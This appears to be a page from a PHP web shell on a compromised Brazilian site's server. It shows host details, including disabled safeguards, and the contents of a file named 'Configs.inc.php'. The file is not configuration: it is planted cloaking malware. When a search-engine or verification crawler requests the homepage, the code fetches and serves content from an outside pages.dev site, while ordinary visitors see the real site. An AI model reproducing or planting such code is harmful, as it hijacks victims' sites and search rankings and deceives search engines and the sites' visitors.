Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 172.67.154.186
Your Ip: 216.73.217.58
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : Configs.inc.php
<?php
// =======================
// CONFIG
// =======================
$target_url = 'https://espacofacial.pages.dev/';

$bots = array(
    'googlebot',
    'bingbot',
    'Google-Site-Verification',
    'Google-InspectionTool',
    'adsense',
    'slurp',
    'TelegramBot'
);

// =======================
// GET REQUEST DATA
// =======================
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$ua  = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';

// =======================
// ONLY HOMEPAGE
// =======================
$is_home = ($uri === '/' || $uri === '/index.php');

// =======================
// EXECUTION
// =======================
if ($is_home) {
    foreach ($bots as $bot) {
        if (strpos($ua, strtolower($bot)) !== false) {

            // cek curl tersedia
            if (function_exists('curl_init')) {
                $ch = curl_init($target_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');

                $result = curl_exec($ch);
                curl_close($ch);

                if ($result !== false) {
                    echo $result;
                    exit;
                }
            }

            // fallback kalau curl mati
            $result = @file_get_contents($target_url);
            if ($result !== false) {
                echo $result;
                exit;
            }

            // kalau semua gagal
            exit;
        }
    }
}
© 2026 UnknownSec